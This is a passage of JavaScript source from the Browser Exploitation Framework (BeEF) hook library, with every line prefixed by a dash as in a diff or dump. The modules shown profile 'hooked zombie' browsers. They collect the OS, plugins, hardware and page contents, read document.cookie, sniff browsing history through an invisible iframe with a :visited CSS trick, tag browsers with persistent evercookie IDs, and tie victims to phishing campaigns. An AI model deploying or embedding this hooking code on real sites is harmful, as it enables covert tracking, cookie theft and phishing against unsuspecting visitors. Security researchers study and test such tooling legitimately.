- */
- getWindowSize: function () {
- var myWidth = 0, myHeight = 0;
- if (typeof( window.innerWidth ) == 'number') {
- // Non-IE
- myWidth = window.innerWidth;
- myHeight = window.innerHeight;
- } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
- // IE 6+ in 'standards compliant mode'
- myWidth = document.documentElement.clientWidth;
- myHeight = document.documentElement.clientHeight;
- } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
- // IE 4 compatible
- myWidth = document.body.clientWidth;
- myHeight = document.body.clientHeight;
- }
- return {
- width: myWidth,
- height: myHeight
- }
- },
- /**
- * Construct hash from browser details. This function is used to grab the browser details during the hooking process
- */
- getDetails: function () {
- var details = new Array();
- var browser_name = beef.browser.getBrowserName();
- var browser_version = beef.browser.getBrowserVersion();
- var browser_reported_name = beef.browser.getBrowserReportedName();
- var browser_language = beef.browser.getBrowserLanguage();
- var page_title = (document.title) ? document.title : "Unknown";
- var page_uri = (document.location.href) ? document.location.href : "Unknown";
- var page_referrer = (document.referrer) ? document.referrer : "Unknown";
- var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
- switch (document.location.protocol) {
- case "http:":
- var default_port = "80";
- break;
- case "https:":
- var default_port = "443";
- break
- default:
- var default_port = "";
- }
- var hostport = (document.location.port) ? document.location.port : default_port;
- var browser_plugins = beef.browser.getPlugins();
- var date_stamp = new Date().toString();
- var os_name = beef.os.getName();
- var os_version = beef.os.getVersion();
- var default_browser = beef.os.getDefaultBrowser();
- var hw_name = beef.hardware.getName();
- var cpu_type = beef.hardware.cpuType();
- var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
- var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
- var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
- if (value == true) return value; else if (value == null) return; else if (typeof value == 'object') return value; else return;
- });
- var screen_size = beef.browser.getScreenSize();
- var window_size = beef.browser.getWindowSize();
- var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
- var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
- var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
- var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
- var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
- var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
- var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
- var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
- var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
- var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
- var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
- var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
- try {
- var cookies = document.cookie;
- /* Never stop the madness dear C.
- * var veglol = beef.browser.cookie.veganLol();
- */
- if (cookies) details['Cookies'] = cookies;
- } catch (e) {
- details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
- }
- if (browser_name) details['BrowserName'] = browser_name;
- if (browser_version) details['BrowserVersion'] = browser_version;
- if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
- if (browser_language) details['BrowserLanguage'] = browser_language;
- if (page_title) details['PageTitle'] = page_title;
- if (page_uri) details['PageURI'] = page_uri;
- if (page_referrer) details['PageReferrer'] = page_referrer;
- if (hostname) details['HostName'] = hostname;
- if (hostport) details['HostPort'] = hostport;
- if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
- if (os_name) details['OsName'] = os_name;
- if (os_version) details['OsVersion'] = os_version;
- if (default_browser) details['DefaultBrowser'] = default_browser;
- if (hw_name) details['Hardware'] = hw_name;
- if (cpu_type) details['CPU'] = cpu_type;
- if (touch_enabled) details['TouchEnabled'] = touch_enabled;
- if (date_stamp) details['DateStamp'] = date_stamp;
- if (browser_platform) details['BrowserPlatform'] = browser_platform;
- if (browser_type) details['BrowserType'] = browser_type;
- if (screen_size) details['ScreenSize'] = screen_size;
- if (window_size) details['WindowSize'] = window_size;
- if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
- if (has_flash) details['HasFlash'] = has_flash;
- if (has_phonegap) details['HasPhonegap'] = has_phonegap;
- if (has_web_socket) details['HasWebSocket'] = has_web_socket;
- if (has_web_worker) details['HasWebWorker'] = has_web_worker;
- if (has_web_gl) details['HasWebGL'] = has_web_gl;
- if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
- if (has_webrtc) details['HasWebRTC'] = has_webrtc;
- if (has_activex) details['HasActiveX'] = has_activex;
- if (has_quicktime) details['HasQuickTime'] = has_quicktime;
- if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
- if (has_wmp) details['HasWMP'] = has_wmp;
- var pf_integration = "";
- if (pf_integration) {
- var pf_param = "uid";
- var pf_victim_uid = "";
- var location_search = window.location.search.substring(1);
- var params = location_search.split('&');
- for (var i = 0; i < params.length; i++) {
- var param_entry = params[i].split('=');
- if (param_entry[0] == pf_param) {
- pf_victim_uid = param_entry[1];
- details['PhishingFrenzyUID'] = pf_victim_uid;
- break;
- }
- }
- } else {
- details['PhishingFrenzyUID'] = "N/A";
- }
- return details;
- },
- /**
- * Returns boolean value depending on whether the browser supports ActiveX
- */
- hasActiveX: function () {
- return !!window.ActiveXObject;
- },
- /**
- * Returns boolean value depending on whether the browser supports WebRTC
- */
- hasWebRTC: function () {
- return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
- },
- /**
- * Returns boolean value depending on whether the browser supports Silverlight
- */
- hasSilverlight: function () {
- var result = false;
- try {
- if (beef.browser.isIE()) {
- var slControl = new ActiveXObject('AgControl.AgControl');
- result = true;
- } else if (navigator.plugins["Silverlight Plug-In"]) {
- result = true;
- }
- } catch (e) {
- result = false;
- }
- return result;
- },
- /**
- * Returns array of results, whether or not the target zombie has visited the specified URL
- */
- hasVisited: function (urls) {
- var results = new Array();
- var iframe = beef.dom.createInvisibleIframe();
- var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
- ifdoc.open();
- ifdoc.write('<style>a:visited{width:0px !important;}</style>');
- ifdoc.close();
- urls = urls.split("\n");
- var count = 0;
- for (var i in urls) {
- var u = urls[i];
- if (u != "" || u != null) {
- var success = false;
- var a = ifdoc.createElement('a');
- a.href = u;
- ifdoc.body.appendChild(a);
- var width = null;
- (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
- if (width == '0px') {
- success = true;
- }
- results.push({'url': u, 'visited': success});
- count++;
- }
- }
- beef.dom.removeElement(iframe);
- if (results.length == 0) {
- return false;
- }
- return results;
- },
- /**
- * Checks if the zombie has Web Sockets enabled.
- * @return: {Boolean} true or false.
- * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
- * */
- hasWebSocket: function () {
- return !!window.WebSocket || !!window.MozWebSocket;
- },
- /**
- * Checks if the zombie has Web Workers enabled.
- * @return: {Boolean} true or false.
- * */
- hasWebWorker: function () {
- return (typeof(Worker) !== "undefined");
- },
- /**
- * Checks if the zombie has WebGL enabled.
- * @return: {Boolean} true or false.
- *
- * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
- * */
- hasWebGL: function () {
- try {
- var canvas = document.createElement("canvas");
- var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
- return !!(gl && gl instanceof WebGLRenderingContext);
- } catch(e) {
- return false;
- }
- },
- /**
- * Checks if the zombie has Google Gears installed.
- * @return: {Boolean} true or false.
- *
- * @from: https://code.google.com/apis/gears/gears_init.js
- * */
- hasGoogleGears: function () {
- var ggfactory = null;
- // Chrome
- if (window.google && google.gears) return true;
- // Firefox
- if (typeof GearsFactory != 'undefined') {
- ggfactory = new GearsFactory();
- } else {
- // IE
- try {
- ggfactory = new ActiveXObject('Gears.Factory');
- // IE Mobile on WinCE.
- if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
- ggfactory.privateSetGlobalObject(this);
- }
- } catch (e) {
- // Safari
- if ((typeof navigator.mimeTypes != 'undefined')
- && navigator.mimeTypes["application/x-googlegears"]) {
- ggfactory = document.createElement("object");
- ggfactory.style.display = "none";
- ggfactory.width = 0;
- ggfactory.height = 0;
- ggfactory.type = "application/x-googlegears";
- document.documentElement.appendChild(ggfactory);
- if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
- }
- }
- }
- if (!ggfactory) return false; else return true;
- },
- /**
- * Checks if the zombie has Foxit PDF reader plugin.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasFoxit()) { ... }
- * */
- hasFoxit: function () {
- var foxitplugin = false;
- try {
- if (beef.browser.isIE()) {
- var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
- foxitplugin = true;
- } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
- foxitplugin = true;
- }
- } catch (e) {
- foxitplugin = false;
- }
- return foxitplugin;
- },
- /**
- * Returns the page head HTML
- **/
- getPageHead: function () {
- var html_head;
- try {
- html_head = document.head.innerHTML.toString();
- } catch (e) {
- }
- return html_head;
- },
- /**
- * Returns the page body HTML
- **/
- getPageBody: function () {
- var html_body;
- try {
- html_body = document.body.innerHTML.toString();
- } catch (e) {
- }
- return html_body;
- },
- /**
- * Dynamically changes the favicon: works in Firefox, Chrome and Opera
- **/
- changeFavicon: function (favicon_url) {
- var iframe = null;
- if (this.isC()) {
- iframe = document.createElement('iframe');
- iframe.src = 'about:blank';
- iframe.style.display = 'none';
- document.body.appendChild(iframe);
- }
- var link = document.createElement('link'),
- oldLink = document.getElementById('dynamic-favicon');
- link.id = 'dynamic-favicon';
- link.rel = 'shortcut icon';
- link.href = favicon_url;
- if (oldLink) document.head.removeChild(oldLink);
- document.head.appendChild(link);
- if (this.isC()) iframe.src += '';
- },
- /**
- * Changes page title
- **/
- changePageTitle: function (title) {
- document.title = title;
- },
- /**
- * Get the browser language
- */
- getBrowserLanguage: function () {
- var l = 'Unknown';
- try {
- l = window.navigator.userLanguage || window.navigator.language;
- } catch (e) {
- }
- return l;
- },
- /**
- * A function that gets the max number of simultaneous connections the
- * browser can make per origin, or globally on all origin.
- *
- * This code is based on research from browserspy.dk
- *
- * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
- * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
- * the number of connections to the callback function as "this"
- *
- * example usage:
- * $j.when(getMaxConnections()).done(function(){
- * console.debug("Max Connections: " + this);
- * });
- *
- */
- getMaxConnections: function (scope) {
- var imagesCount = 30; // Max number of images to test
- var secondsTimeout = 5; // Image load timeout threashold
- var testUrl = ""; // The image testing service URL
- // User broserspy.dk max connections service URL.
- if (scope == 'PER_DOMAIN')
- testUrl = "http://browserspy.dk/connections.php?img=1&random=";
- else
- // The token will be replaced by a different number with each request (different origin).
- testUrl = "http://<token>.browserspy.dk/connections.php?img=1&random=";
- var imagesLoaded = 0; // Number of responding images before timeout.
- var imagesRequested = 0; // Number of requested images.
- var testImages = new Array(); // Array of all images.
- var deferredObject = $j.Deferred(); // A jquery Deferred object.
- for (var i = 1; i <= imagesCount; i++) {
- // Asynchronously request image.
- testImages[i] =
- $j.ajax({
- type: "get",
- dataType: true,
- url: (testUrl.replace("<token>", i)) + Math.random(),
- data: "",
- timeout: (secondsTimeout * 1000),
- // Function on completion of request.
- complete: function (jqXHR, textStatus) {
- imagesRequested++;
- // If the image returns a 200 or a 302, the text Status is "error", else null
- if (textStatus == "error") {
- imagesLoaded++;
- }
- // If all images requested
- if (imagesRequested >= imagesCount) {
- // resolve the deferred object passing the number of loaded images.
- deferredObject.resolveWith(imagesLoaded);
- }
- }
- });
- }
- // Return a promise to resolve the deffered object when the images are loaded.
- return deferredObject.promise();
- }
- };
- beef.regCmp('beef.browser');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.browser.cookie
- *
- * Provides fuctions for working with cookies.
- * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
- * Original author unknown.
- *
- */
- beef.browser.cookie = {
- setCookie: function (name, value, expires, path, domain, secure)
- {
- var today = new Date();
- today.setTime( today.getTime() );
- if ( expires )
- {
- expires = expires * 1000 * 60 * 60 * 24;
- }
- var expires_date = new Date( today.getTime() + (expires) );
- document.cookie = name + "=" +escape( value ) +
- ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
- ( ( path ) ? ";path=" + path : "" ) +
- ( ( domain ) ? ";domain=" + domain : "" ) +
- ( ( secure ) ? ";secure" : "" );
- },
- getCookie: function(name)
- {
- var a_all_cookies = document.cookie.split( ';' );
- var a_temp_cookie = '';
- var cookie_name = '';
- var cookie_value = '';
- var b_cookie_found = false;
- for ( i = 0; i < a_all_cookies.length; i++ )
- {
- a_temp_cookie = a_all_cookies[i].split( '=' );
- cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
- if ( cookie_name == name )
- {
- b_cookie_found = true;
- if ( a_temp_cookie.length > 1 )
- {
- cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
- }
- return cookie_value;
- break;
- }
- a_temp_cookie = null;
- cookie_name = '';
- }
- if ( !b_cookie_found )
- {
- return null;
- }
- },
- deleteCookie: function (name, path, domain)
- {
- if ( this.getCookie(name) ) document.cookie = name + "=" +
- ( ( path ) ? ";path=" + path : "") +
- ( ( domain ) ? ";domain=" + domain : "" ) +
- ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
- },
- /* Never stop the madness dear C. */
- veganLol: function (){
- var to_hell= '';
- var min = 17;
- var max = 25;
- var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
- var grunt = function(){
- var moo = Math.floor(Math.random() * 62);
- var char = '';
- if(moo < 36){
- char = String.fromCharCode(moo + 55);
- }else{
- char = String.fromCharCode(moo + 61);
- }
- if(char != ';' && char != '='){
- return char;
- }else{
- return 'x';
- }
- };
- while(to_hell.length < lol_length){
- to_hell += grunt();
- }
- return to_hell;
- },
- hasSessionCookies: function (name){
- this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
- cookiesEnabled = (this.getCookie(name) == null)? false:true;
- this.deleteCookie(name, '/', '');
- return cookiesEnabled;
- },
- hasPersistentCookies: function (name){
- this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
- cookiesEnabled = (this.getCookie(name) == null)? false:true;
- this.deleteCookie(name, '/', '');
- return cookiesEnabled;
- }
- };
- beef.regCmp('beef.browser.cookie');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.browser.popup
- *
- * Provides fuctions for working with cookies.
- * Several functions adopted from http://davidwalsh.name/popup-block-javascript
- * Original author unknown.
- *
- */
- beef.browser.popup = {
- blocker_enabled: function ()
- {
- screenParams = beef.browser.getScreenSize();
- var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
- if (popUp == null || typeof(popUp)=='undefined') {
- return true;
- } else {
- popUp.close();
- return false;
- }
- }
- };
- beef.regCmp('beef.browser.popup');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.session
- *
- * Provides basic session functions.
- */
- beef.session = {
- hook_session_id_length: 80,
- hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
- ec: new evercookie(),
- beefhook: "BEEFHOOK",
- /**
- * Gets a string which will be used to identify the hooked browser session
- *
- * @example: var hook_session_id = beef.session.get_hook_session_id();
- */
- get_hook_session_id: function() {
- // check if the browser is already known to the framework
- var id = this.ec.evercookie_cookie(beef.session.beefhook);
- if (typeof id == 'undefined') {
- var id = this.ec.evercookie_userdata(beef.session.beefhook);
- }
- if (typeof id == 'undefined') {
- var id = this.ec.evercookie_window(beef.session.beefhook);
- }
- // if the browser is not known create a hook session id and set it
- if ((typeof id == 'undefined') || (id == null)) {
- id = this.gen_hook_session_id();
- this.set_hook_session_id(id);
- }
- // return the hooked browser session identifier
- return id;
- },
- /**
- * Sets a string which will be used to identify the hooked browser session
- *
- * @example: beef.session.set_hook_session_id('RANDOMSTRING');
- */
- set_hook_session_id: function(id) {
- // persist the hook session id
- this.ec.evercookie_cookie(beef.session.beefhook, id);
- this.ec.evercookie_userdata(beef.session.beefhook, id);
- this.ec.evercookie_window(beef.session.beefhook, id);
- },
- /**
- * Generates a random string using the chars in hook_session_id_chars.
- *
- * @example: beef.session.gen_hook_session_id();
- */
- gen_hook_session_id: function() {
- // init the return value
- var hook_session_id = "";
- // construct the random string
- for(var i=0; i<this.hook_session_id_length; i++) {
- var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
- hook_session_id += this.hook_session_id_chars.charAt(rand_num);
- }
- return hook_session_id;
- }
- };
- beef.regCmp('beef.session');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- beef.os = {
- ua: navigator.userAgent,
- /**
- * Detect default browser (IE only)
- * Written by unsticky
- * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
- */
- getDefaultBrowser: function() {
- var result = "Unknown"
- try {
- var mt = document.mimeType;
- if (mt) {
- if (mt == "Safari Document") result = "Safari";
- if (mt == "Firefox HTML Document") result = "Firefox";
- if (mt == "Chrome HTML Document") result = "Chrome";
- if (mt == "HTML Document") result = "Internet Explorer";
- if (mt == "Opera Web Document") result = "Opera";
- }
- } catch (e) {
- beef.debug("[os] getDefaultBrowser: "+e.message);
- }
- return result;
- },
- // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
- isWin311: function() {
- return (this.ua.match('(Win16)')) ? true : false;
- },
- isWinNT4: function() {
- return (this.ua.match('(Windows NT 4.0)')) ? true : false;
- },
- isWin95: function() {
- return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
- },
- isWinCE: function() {
- return (this.ua.match('(Windows CE)')) ? true : false;
- },
- isWin98: function() {
- return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
- },
- isWinME: function() {
- return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
- },
- isWin2000: function() {
- return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
- },
- isWin2000SP1: function() {
- return (this.ua.match('Windows NT 5.01 ')) ? true : false;
- },
- isWinXP: function() {
- return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
- },
- isWinServer2003: function() {
- return (this.ua.match('(Windows NT 5.2)')) ? true : false;
- },
- isWinVista: function() {
- return (this.ua.match('(Windows NT 6.0)')) ? true : false;
- },
- isWin7: function() {
- return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
- },
- isWin8: function() {
- return (this.ua.match('(Windows NT 6.2)')) ? true : false;
- },
- isWin81: function() {
- return (this.ua.match('(Windows NT 6.3)')) ? true : false;
- },
- isWin10: function() {
- return (this.ua.match('Windows NT 10.0')) ? true : false;
- },
- isOpenBSD: function() {
- return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
- },
- isSunOS: function() {
- return (this.ua.indexOf('SunOS') != -1) ? true : false;
- },
- isLinux: function() {
- return (this.ua.match('(Linux)|(X11)')) ? true : false;
- },
- isMacintosh: function() {
- return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
- },
- isOsxYosemite: function(){ // TODO
- return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
- },
- isOsxMavericks: function(){ // TODO
- return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
- },
- isOsxSnowLeopard: function(){ // TODO
- return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
- },
- isOsxLeopard: function(){ // TODO
- return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
- },
- isWinPhone: function() {
- return (this.ua.match('(Windows Phone)')) ? true : false;
- },
- isIphone: function() {
- return (this.ua.indexOf('iPhone') != -1) ? true : false;
- },
- isIpad: function() {
- return (this.ua.indexOf('iPad') != -1) ? true : false;
- },
- isIpod: function() {
- return (this.ua.indexOf('iPod') != -1) ? true : false;
- },
- isNokia: function() {
- return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
- },
- isAndroid: function() {
- return (this.ua.match('Android')) ? true : false;
- },
- isBlackBerry: function() {
- return (this.ua.match('BlackBerry')) ? true : false;
- },
- isWebOS: function() {
- return (this.ua.match('webOS')) ? true : false;
- },
- isQNX: function() {
- return (this.ua.match('QNX')) ? true : false;
- },
- isBeOS: function() {
- return (this.ua.match('BeOS')) ? true : false;
- },
- isAros: function() {
- return (this.ua.match('AROS')) ? true : false;
- },
- isWindows: function() {
- return (this.ua.match('Windows')) ? true : false;
- },
- getName: function() {
- if(this.isWindows()){
- return 'Windows';
- }
- if(this.isMacintosh()) {
- return 'OSX';
- }
- //Nokia
- if(this.isNokia()) {
- if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
- if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
- if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
- }
- // BlackBerry
- if(this.isBlackBerry()) return 'BlackBerry OS';
- // Android
- if(this.isAndroid()) return 'Android';
- // SunOS
- if(this.isSunOS()) return 'SunOS';
- //Linux
- if(this.isLinux()) return 'Linux';
- //iPhone
- if (this.isIphone()) return 'iOS';
- //iPad
- if (this.isIpad()) return 'iOS';
- //iPod
- if (this.isIpod()) return 'iOS';
- //others
- if(this.isQNX()) return 'QNX';
- if(this.isBeOS()) return 'BeOS';
- if(this.isWebOS()) return 'webOS';
- if(this.isAros()) return 'AROS';
- return 'unknown';
- },
- getVersion: function(){
- //Windows
- if(this.isWindows()) {
- if (this.isWin10()) return '10';
- if (this.isWin81()) return '8.1';
- if (this.isWin8()) return '8';
- if (this.isWin7()) return '7';
- if (this.isWinVista()) return 'Vista';
- if (this.isWinXP()) return 'XP';
- if (this.isWinServer2003()) return 'Server 2003';
- if (this.isWin2000SP1()) return '2000 SP1';
- if (this.isWin2000()) return '2000';
- if (this.isWinME()) return 'Millenium';
- if (this.isWinNT4()) return 'NT 4';
- if (this.isWinCE()) return 'CE';
- if (this.isWin95()) return '95';
- if (this.isWin98()) return '98';
- }
- // OS X
- if(this.isMacintosh()) {
- if (this.isOsxYosemite()) return '10.10';
- if (this.isOsxMavericks()) return '10.9';
- if (this.isOsxSnowLeopard()) return '10.8';
- if (this.isOsxLeopard()) return '10.7';
- }
- // TODO add Android/iOS version detection
- }
- };
- beef.regCmp('beef.net.os');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- beef.hardware = {
- ua: navigator.userAgent,
- /*
- * @return: {String} CPU type
- **/
- cpuType: function() {
- var arch = 'UNKNOWN';
- // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
- // in detecting the OS arch rather than the browser build
- if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
- arch = 'x86_64';
- }else if(typeof navigator.cpuClass != 'undefined'){
- switch (navigator.cpuClass) {
- case '68K':
- arch = 'Motorola 68K';
- break;
- case 'PPC':
- arch = 'Motorola PPC';
- break;
- case 'Digital':
- arch = 'Alpha';
- break;
- default:
- arch = 'x86';
- }
- }
- // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
- // For example, if OSX is at least 10.7, most certainly is 64 bit.
- return arch;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isTouchEnabled: function() {
- if ('ontouchstart' in document) return true;
- return false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isVirtualMachine: function() {
- if (screen.width % 2 || screen.height % 2) return true;
- return false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isLaptop: function() {
- // Most common laptop screen resolution
- if (screen.width == 1366 && screen.height == 768) return true;
- // Netbooks
- if (screen.width == 1024 && screen.height == 600) return true;
- return false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isNokia: function() {
- return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isZune: function() {
- return (this.ua.match('ZuneWP7')) ? true : false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isHtc: function() {
- return (this.ua.match('HTC')) ? true : false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isEricsson: function() {
- return (this.ua.match('Ericsson')) ? true : false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isMotorola: function() {
- return (this.ua.match('Motorola')) ? true : false;
- },
- /*
- * @return: {Boolean} true or false.
- **/
- isGoogle: function() {
- return (this.ua.match('Nexus One')) ? true : false;
- },
- /**
- * Returns true if the browser is on a Mobile Phone
- * @return: {Boolean} true or false
- *
- * @example: if(beef.hardware.isMobilePhone()) { ... }
- **/
- isMobilePhone: function() {
- return DetectMobileQuick();
- },
- getName: function() {
- var ua = navigator.userAgent.toLowerCase();
- if(DetectIphone()) { return "iPhone"};
- if(DetectIpod()) { return "iPod Touch"};
- if(DetectIpad()) { return "iPad"};
- if (this.isHtc()) { return 'HTC'};
- if (this.isMotorola()) { return 'Motorola'};
- if (this.isZune()) { return 'Zune'};
- if (this.isGoogle()) { return 'Google Nexus One'};
- if (this.isEricsson()) { return 'Ericsson'};
- if(DetectAndroidPhone()) { return "Android Phone"};
- if(DetectAndroidTablet()) { return "Android Tablet"};
- if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
- if(ua.search(deviceS60) > -1) { return "Nokia S60"};
- if(ua.search(deviceS70) > -1) { return "Nokia S70"};
- if(ua.search(deviceS80) > -1) { return "Nokia S80"};
- if(ua.search(deviceS90) > -1) { return "Nokia S90"};
- if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
- if (this.isNokia()) { return 'Nokia'};
- if(DetectWindowsPhone7()) { return "Windows Phone 7"};
- if(DetectWindowsMobile()) { return "Windows Mobile"};
- if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
- if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
- if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
- if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
- if(DetectBlackBerry()) { return "BlackBerry"};
- if(DetectPalmOS()) { return "Palm OS"};
- if(DetectPalmWebOS()) { return "Palm Web OS"};
- if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
- if(DetectArchos()) { return "Archos"}
- if(DetectBrewDevice()) { return "Brew"};
- if(DetectDangerHiptop()) { return "Danger Hiptop"};
- if(DetectMaemoTablet()) { return "Maemo Tablet"};
- if(DetectSonyMylo()) { return "Sony Mylo"};
- if(DetectAmazonSilk()) { return "Kindle Fire"};
- if(DetectKindle()) { return "Kindle"};
- if(DetectSonyPlaystation()) { return "Playstation"};
- if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
- if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
- if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
- if(DetectXbox()) { return "Xbox"};
- if(this.isLaptop()) { return "Laptop"};
- if(this.isVirtualMachine()) { return "Virtual Machine"};
- return 'Unknown';
- }
- };
- beef.regCmp('beef.hardware');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.dom
- *
- * Provides functionality to manipulate the DOM.
- */
- beef.dom = {
- /**
- * Generates a random ID for HTML elements
- * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
- * @return: generated id
- */
- generateID: function(prefix) {
- return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
- },
- /**
- * Creates a new element but does not append it to the DOM.
- * @param: {String} the name of the element.
- * @param: {Literal Object} the attributes of that element.
- * @return: the created element.
- */
- createElement: function(type, attributes) {
- var el = document.createElement(type);
- for(index in attributes) {
- if(typeof attributes[index] == 'string') {
- el.setAttribute(index, attributes[index]);
- }
- }
- return el;
- },
- /**
- * Removes element from the DOM.
- * @param: {String or DOM Object} the target element to be removed.
- */
- removeElement: function(el) {
- if (!beef.dom.isDOMElement(el))
- {
- el = document.getElementById(el);
- }
- try {
- el.parentNode.removeChild(el);
- } catch (e) { }
- },
- /**
- * Tests if the object is a DOM element.
- * @param: {Object} the DOM element.
- * @return: true if the object is a DOM element.
- */
- isDOMElement: function(obj) {
- return (obj.nodeType) ? true : false;
- },
- /**
- * Creates an invisible iframe on the hook browser's page.
- * @return: the iframe.
- */
- createInvisibleIframe: function() {
- var iframe = this.createElement('iframe', {
- width: '1px',
- height: '1px',
- style: 'visibility:hidden;'
- });
- document.body.appendChild(iframe);
- return iframe;
- },
- /**
- * Returns the highest current z-index
- * @param: {Boolean} whether to return an associative array with the height AND the ID of the element
